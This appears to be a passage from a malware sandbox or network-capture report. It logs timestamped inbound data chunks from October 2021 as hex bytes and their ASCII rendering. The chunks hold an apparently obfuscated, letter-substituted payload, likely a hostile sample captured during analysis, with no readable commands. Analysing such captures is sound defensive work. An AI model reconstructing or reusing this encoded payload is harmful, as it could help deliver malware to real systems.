59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 20 4c 72 20 72 49 20 59 43 20 Data Ascii: VI rI YC YV rM Ic NNM NCW NNc WN WY NWV Yr Ir NVC VNY IY VVc YC rI YC YV rM NCV NNM NCW NNc YL Yc NCc NIY NCC NNr NNM NNN NN VM rI YC YC cW NVY NCc WM VYL NCr rI YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI Vc II Ir NNr NVM NNN NN Lr rI YC
2021-10-29 18:29:53 UTC	1338	IN	Data Raw: 57 4c 20 57 43 20 4e 4e 56 20 59 43 20 59 49 20 63 59 20 4e 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 4c 43 20 59 43 20 72 49 20 59 63 20 59 56 20 72 4d 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 4c 59 20 59 49 20 4c 59 20 59 57 20 4e 56 20 57 57 20 4e 56 4c 20 4e 56 4c 20 56 4c 43 20 4e 43 63 20 4c 4c 20 63 43 20 4c 4c 20 4e 57 72 20 72 56 20 4e 43 43 20 57 57 20 4e 43 72 20 4e 63 72 20 4e 43 72 20 4c 59 20 59 63 20 4d 4d 20 56 56 49 20 72 59 20 72 20 57 4d 20 63 43 20 72 56 20 4e 63 72 20 57 59 20 59 57 20 4e 56 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 56 72 20 59 43 20 59 72 20 49 43 20 4d 72 20 56 4c 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 4d 4c 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e 4e 4d 20 56 63 20 4e 20 4e 4e Data Ascii: WL WC NNV YC YI cY Nr Ir NNr NVM cW LC YC rI Yc YV rM WI NNM NCW NNc LY YI LY YW NV WW NVL NVL VLC NCc LL cC LL NWr rV NCC WW NCr Ncr NCr LY Yc MM VVI rY r WM cC rV Ncr WY YW NVI NNM NCW NVV MW Vr YC Yr IC Mr VLY NCW NNV YC YC ML YM Ir NNr NNL NNM Vc N NN
2021-10-29 18:29:53 UTC	1342	IN	Data Raw: 20 56 63 20 49 56 20 59 43 20 59 72 20 57 72 20 49 49 20 57 57 20 4e 4e 43 20 4e 43 72 20 56 43 72 20 72 57 20 56 72 20 59 72 20 49 72 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 63 4d 20 72 49 20 59 43 20 59 72 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 59 20 57 4c 20 4e 59 4c 20 59 4e 20 59 72 20 49 56 20 4e 43 4e 20 56 72 49 20 59 4c 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4c 49 20 4e 4d 56 20 4e 4e 72 20 4e 43 57 20 43 20 4e 72 72 20 4c 57 20 57 4c 20 4e 56 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4c 20 59 4e 20 72 57 20 59 43 20 63 43 20 49 56 20 4e 43 43 20 56 4c 57 20 4e 43 4d 20 4e 43 4c 20 4e 63 49 20 56 72 20 49 4e 20 59 72 20 49 72 20 4e 56 43 20 57 4c 20 4e 4e 4e 20 4e 4e 4c 20 59 43 20 59 49 20 63 59 20 Data Ascii: Vc IV YC Yr Wr II WW NNC NCr VCr rW Vr Yr Ir NCY cW NCr NNV cM rI YC Yr NNN NNr NNM NVr NNY WL NYL YN Yr IV NCN VrI YL NNV YC rW VL LV LI NMV NNr NCW C Nrr LW WL NVC Ir NNr NVM NCL L YN rW YC cC IV NCC VLW NCM NCL NcI Vr IN Yr Ir NVC WL NNN NNL YC YI cY
2021-10-29 18:29:53 UTC	1346	IN	Data Raw: 4e 63 20 4d 43 20 4e 4e 56 20 4e 4c 57 20 4e 56 43 20 63 4d 20 59 43 20 72 49 20 72 4e 20 63 56 20 4e 56 4d 20 59 57 20 4e 4e 20 4e 56 4c 20 4e 4e 4c 20 59 43 20 59 56 20 56 4c 20 56 4d 20 63 4d 20 49 72 20 4e 4e 20 4e 56 4e 20 4e 4e 4c 20 59 43 20 59 56 20 56 43 72 20 72 49 20 4d 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 72 4e 20 72 57 20 59 43 20 63 43 20 4e 4e 4c 20 56 72 56 20 57 57 20 4e 43 49 20 4e 4e 56 20 59 72 20 56 72 20 72 59 20 59 72 20 49 72 20 49 57 20 49 43 20 63 72 20 4e 56 72 20 56 43 20 4c 72 20 72 49 20 56 43 43 20 63 59 20 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 49 20 56 4d 20 4c 63 20 72 49 20 4e 4d 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 4e 20 4e 4e 56 20 59 56 20 63 4d 20 72 4d 20 59 59 20 49 72 20 4e 56 43 20 57 4c 20 4d Data Ascii: Nc MC NNV NLW NVC cM YC rI rN cV NVM YW NN NVL NNL YC YV VL VM cM Ir NN NVN NNL YC YV VCr rI MV NNV NNM NCM L rN rW YC cC NNL VrV WW NCI NNV Yr Vr rY Yr Ir IW IC cr NVr VC Lr rI VCC cY cY NNM NCW NCM YI VM Lc rI NMC NNc NCW NNN NNV YV cM rM YY Ir NVC WL M
2021-10-29 18:29:53 UTC	1349	IN	Data Raw: 4e 72 20 4e 56 4d 20 56 43 4d 20 49 59 20 4c 4d 20 4c 57 20 4c 49 20 4c 43 20 56 4c 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 56 4e 43 20 56 4c 20 72 43 20 4c 4d 20 4c 72 20 4e 56 72 20 56 43 63 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 4c 20 4c 56 20 63 72 20 57 43 20 56 43 4e 20 4e 43 57 20 4e 4e 56 20 59 63 20 4e 72 63 20 56 63 20 4e 4c 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 4e 20 72 49 20 59 63 20 4e 49 56 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 59 20 4e 72 20 72 4d 20 72 57 20 59 43 20 59 43 20 72 4d 20 72 49 20 4e 4e 63 20 4e 43 57 20 4e 56 56 20 4d 63 20 72 59 20 59 4e 20 59 72 20 49 43 20 4e 56 56 20 57 57 20 4e 56 4c 20 4c 20 4e 4e 4c 20 72 57 20 59 43 20 63 43 20 63 63 20 4e 43 43 20 63 20 72 63 20 4e Data Ascii: Nr NVM VCM IY LM LW LI LC VLV NNr NNM NCL VNC VL rC LM Lr NVr VCc NNM NCW NVV Nrr VN rL LV cr WC VCN NCW NNV Yc Nrc Vc NLW Ir NNr NVM cW rW YN rI Yc NIV ML NNY NNM NCY Nr rM rW YC YC rM rI NNc NCW NVV Mc rY YN Yr IC NVV WW NVL L NNL rW YC cC cc NCC c rc N
2021-10-29 18:29:53 UTC	1354	IN	Data Raw: 20 4d 4d 20 72 49 20 72 57 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 4e 20 4e 4e 56 20 56 49 20 72 49 20 4e 43 49 20 4e 49 63 20 49 72 20 4e 56 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 59 43 20 4e 4d 20 49 72 20 4c 20 56 4c 4d 20 4e 43 57 20 4e 56 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 63 20 4e 4e 72 20 49 59 20 4e 43 57 20 56 72 72 20 4e 59 43 20 72 49 20 59 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 4e 59 56 20 4e 4c 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 4c 20 56 20 59 4e 20 49 72 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 56 4e 20 72 49 20 59 43 20 4c 57 20 4c 57 20 56 4e 63 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59 63 20 63 Data Ascii: MM rI rW cC Ir NNr NNc NNN NNV VI rI NCI NIc Ir NVC NNM NCW NNV YC YC YC NM Ir L VLM NCW NVV YC rI YC Yr Ic NNr IY NCW Vrr NYC rI Yc Yr Ir NNr NNM NCW NNV YV rI NYV NLr Ir NNL NVM NCW NNV YN rL V YN Ir NcY NNM NCW NNV NVN rI YC LW LW VNc NNM NCW NVV Yc c
2021-10-29 18:29:53 UTC	1358	IN	Data Raw: 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4e 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 63 72 20 4e 4e 4c 20 59 43 20 72 49 20 49 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 59 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 56 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 4e 20 4e 4e 72 20 56 72 43 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 4e 56 4d 20 59 43 20 59 72 20 63 57 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 49 20 4e 49 20 4e 49 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e Data Ascii: NNr YC rI YC NY Ir NNr NNM cr NNL YC rI Ir YY Ir NNr NVM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YV rI YC Yr Yc NNY NNM NCW V YN rI YC YL Ir NNr NNM NCL NNV YC rW rN c IN NNr VrC NNN NNV YC NVM YC Yr cW N VNC NCW NNV Yc YI NI NIM Ir NNr NNM VVr rV YC rI YN
2021-10-29 18:29:53 UTC	1362	IN	Data Raw: 43 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4c 63 20 4e 4e 56 20 4e 4d 49 20 56 72 57 20 59 43 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 72 20 59 43 20 4e 63 59 20 4e 56 57 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 4e 4d 72 20 4e 72 43 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 4e 43 49 20 72 57 20 59 43 20 59 72 20 72 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 72 57 20 72 49 20 59 43 20 63 43 20 57 72 20 4e 43 57 20 4d 43 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 4d 20 59 43 20 59 72 20 57 72 Data Ascii: C Yr Ir NNV NNM Lc NNV NMI VrW YC cC Ir NNr NNM NCW NNr YC NNr YC NcY NVW NNr NVM NCW NNV YC rI YC Yr IV NNr NMr NrC NNV rW YI YC Yr IY NCY cW NCr NNV NCI rW YC Yr r NNr NNM NVr L NrW rI YC cC Wr NCW MC VVr rV YC rI YN NW NLV NcY NNM NCW NNc Vc M YC Yr Wr
2021-10-29 18:29:53 UTC	1366	IN	Data Raw: 72 20 4e 56 43 20 56 63 20 4e 49 49 20 4e 4e 56 20 59 43 20 59 49 20 59 56 20 72 4e 20 57 43 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 72 59 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 56 56 4d 20 72 49 20 59 43 20 63 43 20 4c 57 20 56 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59 4d 20 59 4c 20 4c 43 20 63 56 20 49 4e 20 56 59 56 20 49 57 20 4e 43 59 20 4e 4e 63 20 72 57 20 4e 20 72 49 20 72 57 20 4e 56 63 20 4e 4e 72 20 4e 4e 57 20 63 57 20 4e 63 56 20 59 43 20 72 49 20 59 63 20 59 49 20 63 63 20 4e 56 4d 20 4d 4d 20 4e 56 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 49 20 63 4c 20 56 43 63 20 57 4d 20 4e 4e 4c 20 4e Data Ascii: r NVC Vc NII NNV YC YI YV rN WC VYY rM NCW NNV YN VN VVc VrY Ir NNr NNL cW MN YC rI Yc cW NCI NNr NNM NCL LN VVM rI YC cC LW VNL NNM NCW NVV YM YL LC cV IN VYV IW NCY NNc rW N rI rW NVc NNr NNW cW NcV YC rI Yc YI cc NVM MM NVr NNL YC rI YI cL VCc WM NNL N
2021-10-29 18:29:53 UTC	1370	IN	Data Raw: 43 20 49 63 20 4e 4e 4c 20 49 20 57 72 20 4e 4e 56 20 59 43 20 59 56 20 56 72 20 72 43 20 49 63 20 57 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 63 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 4d 4c 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 49 56 20 72 49 20 59 4e 20 4d 57 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 4e 4e 43 20 72 49 20 Data Ascii: C Ic NNL I Wr NNV YC YV Vr rC Ic W cY NCW NNV Yr Vc Nc YV IM NY cY NCW NNV Yr Vc rr YV rM MN NNM NCW NNc Vr NI rI YL rN MN NNM NCW NNc Vr rc rI MM WI NNr NNM NCY WC Nc YC rW MY WI NNr NNM NCY WC rr YC ML N Ir NNr NNL MN IV rI YN MW N Ir NNr NNL MN NNC rI
2021-10-29 18:29:53 UTC	1374	IN	Data Raw: 59 20 4e 4e 56 20 59 43 20 59 49 20 56 72 20 72 43 20 49 63 20 57 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72 4d 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 56 63 20 49 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 43 20 72 49 20 4d 59 20 4d 4d 20 59 72 20 49 72 20 4e 4e 49 20 57 59 20 4d 57 20 4e 4e 72 20 72 57 20 4d 4d 20 4d 4d 20 59 72 20 49 72 20 Data Ascii: Y NNV YC YI Vr rC Ic W W NCW NNV Yr Vc Nc YV IM NY W NCW NNV Yr Vc rr YV rM NY NNM NCW NNc Vr NI rI YL rN NY NNM NCW NNc Vr rc rI MM rV NNr NNM NCY WC Nc YC rW MY rV NNr NNM NCY WC rr YC Vc Ir Ir NNr NVM MN NNC rI MY MM Yr Ir NNI WY MW NNr rW MM MM Yr Ir
2021-10-29 18:29:53 UTC	1378	IN	Data Raw: 49 72 20 4e 56 43 20 4e 63 57 20 4e 4d 57 20 4e 4e 59 20 56 43 20 56 4c 49 20 59 43 20 4c 63 20 49 63 20 57 43 20 56 4e 59 20 4e 43 49 20 4e 4e 56 20 59 63 20 4e 43 20 4e 56 43 20 56 43 4e 20 4e 4d 4e 20 4e 72 4e 20 4e 4d 4e 20 57 57 20 57 49 20 72 49 20 56 43 63 20 4c 63 20 4e 4e 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 56 20 4e 56 4c 20 59 43 20 72 49 20 59 63 20 56 4c 72 20 49 63 20 4e 20 56 4c 49 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 59 20 59 49 20 4c 57 20 57 56 20 57 43 20 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 59 20 57 4c 20 4e 4d 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 43 20 59 43 20 72 49 20 59 63 20 49 57 20 56 72 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 49 20 72 4d 20 56 43 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e Data Ascii: Ir NVC NcW NMW NNY VC VLI YC Lc Ic WC VNY NCI NNV Yc NC NVC VCN NMN NrN NMN WW WI rI VCc Lc NNr Ir NNr NNC V NVL YC rI Yc VLr Ic N VLI NCI NNV YV LY YI LW WV WC W NCW NNV Yc YY WL NMM Ir NNr NVM V C YC rI Yc IW Vrc NNY NNM NCM WM YI rM VC NIM Nr NNr NNM N
2021-10-29 18:29:53 UTC	1381	IN	Data Raw: 43 20 4c 43 20 59 72 20 4e 4c 43 20 4d 49 20 4e 4e 63 20 4e 4e 4d 20 4d 4d 20 4e 4e 63 20 4e 4c 72 20 72 56 20 56 57 20 59 72 20 72 4c 20 4d 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 43 20 56 72 4d 20 56 57 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 4d 43 20 49 56 20 63 72 20 56 49 20 59 56 20 59 72 20 4e 4c 72 20 4e 4e 4c 20 4d 20 63 59 20 4e 4e 49 20 59 43 20 4e 72 43 20 59 56 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 56 4c 4c 20 49 59 20 4e 72 59 20 59 20 63 43 20 59 72 20 56 56 49 20 63 4d 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 43 20 56 43 43 20 4e 20 4d 63 20 4e 4e 43 20 4e 4e 63 20 4e 4e 4d 20 56 72 4d 20 49 43 20 63 72 20 56 49 20 63 43 20 59 72 20 4e 49 63 20 4e 43 57 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 43 20 4e 59 59 20 56 20 4e Data Ascii: C LC Yr NLC MI NNc NNM MM NNc NLr rV VW Yr rL MC NNM NCW NNI YC VrM VW cI NVC NNc NNM MC IV cr VI YV Yr NLr NNL M cY NNI YC NrC YV cI NVC NNc NNM VLL IY NrY Y cC Yr VVI cM NrM MC NNI YC VCC N Mc NNC NNc NNM VrM IC cr VI cC Yr NIc NCW NrM MC NNI YC NYY V N
2021-10-29 18:29:53 UTC	1386	IN	Data Raw: 56 72 20 4e 43 57 20 56 4c 20 59 43 20 72 57 20 59 4e 20 59 72 20 49 72 20 4e 57 4e 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 57 59 20 72 49 20 59 57 20 59 72 20 56 4e 4c 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 57 63 20 59 43 20 4e 49 59 20 4e 4d 20 59 72 20 49 72 20 57 4e 20 4e 4e 4d 20 4e 43 43 20 4e 4e 56 20 4e 49 4c 20 72 49 20 4e 4d 57 20 59 59 20 63 49 20 4e 4e 72 20 63 63 20 72 63 20 4e 4e 56 20 59 43 20 56 59 20 59 43 20 63 4e 20 49 72 20 56 72 57 20 4e 4e 4d 20 56 4c 63 20 4e 4e 4c 20 4c 72 20 72 49 20 4e 57 43 20 4d 20 49 72 20 4e 4e 72 20 57 56 20 4e 43 57 20 4e 56 4c 20 59 43 20 4e 49 49 20 59 43 20 4e 49 4c 20 49 59 20 57 49 20 4e 4e 4d 20 4e 49 59 20 49 49 20 59 43 20 72 49 20 56 4d 20 59 72 20 57 59 20 4e 4e 72 20 56 72 49 20 4e 43 57 20 56 72 4e Data Ascii: Vr NCW VL YC rW YN Yr Ir NWN ML NCW NNV WY rI YW Yr VNL NNr Vrr NCW Wc YC NIY NM Yr Ir WN NNM NCC NNV NIL rI NMW YY cI NNr cc rc NNV YC VY YC cN Ir VrW NNM VLc NNL Lr rI NWC M Ir NNr WV NCW NVL YC NII YC NIL IY WI NNM NIY II YC rI VM Yr WY NNr VrI NCW VrN
2021-10-29 18:29:53 UTC	1390	IN	Data Raw: 4c 4c 20 72 57 20 59 43 20 59 72 20 4e 43 20 4e 56 4c 20 4e 4e 4d 20 4e 43 57 20 72 4e 20 59 4e 20 56 43 20 59 4e 20 4e 57 20 49 63 20 57 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 4d 4e 20 63 4c 20 59 43 20 59 72 20 4e 4c 20 4e 4e 59 20 49 4e 20 4e 43 49 20 49 59 20 72 49 20 4c 59 20 59 4e 20 59 72 20 49 72 20 56 72 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 72 57 20 56 56 20 59 59 20 4e 4e 4c 20 4e 4e 56 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 4c 20 59 59 20 59 72 20 49 72 20 72 4c 20 4e 4e 63 20 4d 4c 20 4e 4e 4c 20 56 4c 20 59 43 20 4c 4c 20 59 59 20 49 72 20 4e 4e 72 20 56 4c 4e 20 57 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 4e 49 20 49 59 20 49 4d 20 4e 4e 57 20 4e 56 63 20 4e 4e 4c 20 59 43 20 72 49 20 56 72 56 20 59 72 Data Ascii: LL rW YC Yr NC NVL NNM NCW rN YN VC YN NW Ic WM NNc NCW NNV MN cL YC Yr NL NNY IN NCI IY rI LY YN Yr Ir Vrc NNM NCW NNV NCM rW VV YY NNL NNV NCV NCI NNV YC YL YY Yr Ir rL NNc ML NNL VL YC LL YY Ir NNr VLN WI NNV YC NCY YN NI IY IM NNW NVc NNL YC rI VrV Yr
2021-10-29 18:29:53 UTC	1394	IN	Data Raw: 57 20 4e 4e 4c 20 59 43 20 72 72 20 72 63 20 4e 72 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 56 20 4e 43 49 20 59 56 20 4c 4c 20 59 4e 20 59 72 20 72 59 20 4e 4e 4e 20 4e 43 20 4e 56 72 20 4e 4e 4c 20 59 43 20 4e 63 4c 20 72 4d 20 4e 72 72 20 49 72 20 63 59 20 4e 4e 63 20 56 56 56 20 4e 56 63 20 4e 49 56 20 4c 4c 20 4e 20 59 59 20 4e 56 20 57 49 20 56 59 56 20 4e 56 72 20 63 4d 20 59 4e 20 63 72 20 4c 49 20 4e 4d 49 20 63 57 20 63 59 20 4e 4e 63 20 4e 4e 43 20 4e 4e 57 20 4e 49 49 20 4c 4c 20 4e 20 59 59 20 4e 4d 72 20 4e 56 4d 20 56 4c 43 20 4e 56 72 20 63 4d 20 59 4e 20 4e 57 63 20 59 63 20 4e 4d 72 20 63 57 20 63 59 20 4e 4e 63 20 56 4c 4e 20 4e 56 63 20 4e 4d 59 20 4c 4c 20 4e 20 59 59 20 56 4e 4c 20 57 49 20 56 4e 59 20 4e 56 72 20 63 4d 20 59 4e 20 Data Ascii: W NNL YC rr rc Nrr Ir NNY NNM rV NCI YV LL YN Yr rY NNN NC NVr NNL YC NcL rM Nrr Ir cY NNc VVV NVc NIV LL N YY NV WI VYV NVr cM YN cr LI NMI cW cY NNc NNC NNW NII LL N YY NMr NVM VLC NVr cM YN NWc Yc NMr cW cY NNc VLN NVc NMY LL N YY VNL WI VNY NVr cM YN
2021-10-29 18:29:53 UTC	1398	IN	Data Raw: 4e 4d 49 20 4e 4e 59 20 4e 49 72 20 4d 49 20 4e 4e 4c 20 59 43 20 63 20 59 43 20 49 56 20 4e 43 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 57 4c 20 57 20 4e 49 43 20 57 4d 20 63 4d 20 4e 43 57 20 4e 57 56 20 4e 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 56 4d 20 4e 4e 4d 20 4e 59 49 20 4d 57 20 56 4e 4c 20 4c 59 20 4e 43 20 59 72 20 4e 56 20 4d 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4d 4d 20 59 43 20 4e 43 4d 20 4e 43 59 20 4e 4c 43 20 4e 43 56 20 49 4d 20 4e 4e 56 20 4e 72 20 4e 4e 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 4e 57 4d 20 56 4e 20 56 43 4d 20 4c 4c 20 57 20 49 72 20 4e 72 20 4d 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4d 57 20 59 72 20 4e 4d 72 20 63 4d 20 Data Ascii: NMI NNY NIr MI NNL YC c YC IV NCW NNr NNM NCW NNV Ncr rI NWL W NIC WM cM NCW NWV NN rI YC Yr Ir VVM NNM NYI MW VNL LY NC Yr NV MV NNM NCW NNV YC NMM YC NCM NCY NLC NCV IM NNV Nr NN YC Yr Ir NNr Vrr NCW NWM VN VCM LL W Ir Nr MI NCW NNV YC rI NMW Yr NMr cM
2021-10-29 18:29:53 UTC	1402	IN	Data Raw: 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 4e 43 49 20 72 63 20 56 56 4c 20 4c 72 20 4e 72 4c 20 4e 4e 72 20 4e 43 59 20 59 4c 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 4e 56 57 20 4e 4e 59 20 4e 56 49 20 4e 43 43 20 56 4c 63 20 72 49 20 49 20 4e 4e 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 4c 43 20 59 43 20 72 4d 20 4c 20 56 4e 57 20 63 72 20 4e 72 4d 20 4e 4e 4d 20 4c 4c 20 72 43 20 59 43 20 72 49 20 59 43 20 59 72 20 4e 57 72 20 4e 4e 72 20 57 20 72 72 20 4e 59 4d 20 4c 49 20 56 4e 56 20 59 43 20 4e 43 72 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 4e 43 20 72 57 20 4e 49 59 20 4e 43 56 20 4e 72 63 20 4e 43 57 20 72 20 4e 43 63 20 72 49 20 59 43 20 59 Data Ascii: c Yr Ir NNr NNM VYN NNV NCI rc VVL Lr NrL NNr NCY YL NNV YC rI YC NcC Ir NVW NNY NVI NCC VLc rI I NNC Ir NNr NNM NCW VLC YC rM L VNW cr NrM NNM LL rC YC rI YC Yr NWr NNr W rr NYM LI VNV YC NCr NV NNr NNM NCW NNV Ncr rI NNC rW NIY NCV Nrc NCW r NCc rI YC Y
2021-10-29 18:29:53 UTC	1406	IN	Data Raw: 20 59 43 20 4e 72 57 20 4e 43 72 20 4e 56 72 20 57 57 20 4c 4c 20 4e 4e 4c 20 59 43 20 4e 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 56 4d 20 4e 43 57 20 4e 72 57 20 56 72 20 4c 49 20 4c 63 20 4e 56 43 20 49 59 20 56 72 4e 20 56 72 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 63 72 20 63 56 20 56 57 20 4e 43 4d 20 4e 43 72 20 4e 56 4c 20 63 4c 20 59 4e 20 4e 56 49 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 57 63 20 72 4e 20 4e 4d 20 4c 56 20 56 4d 20 4e 4e 59 20 4e 4c 4c 20 56 4c 72 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 72 4e 20 4e 43 49 20 4e 49 43 20 4e 56 59 20 57 49 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 59 20 4e 43 57 20 56 56 59 20 4e 49 20 56 56 56 20 49 Data Ascii: YC NrW NCr NVr WW LL NNL YC NIL YC Yr Ir NNr VVM NCW NrW Vr LI Lc NVC IY VrN VrV NCW NNV YC rI Ncr cV VW NCM NCr NVL cL YN NVI NIN Yr Ir NNr NNM VYN NNV Wc rN NM LV VM NNY NLL VLr NNV YC rI YC NcC Ir rN NCI NIC NVY WI rW YC Yr Ir NNr VrY NCW VVY NI VVV I
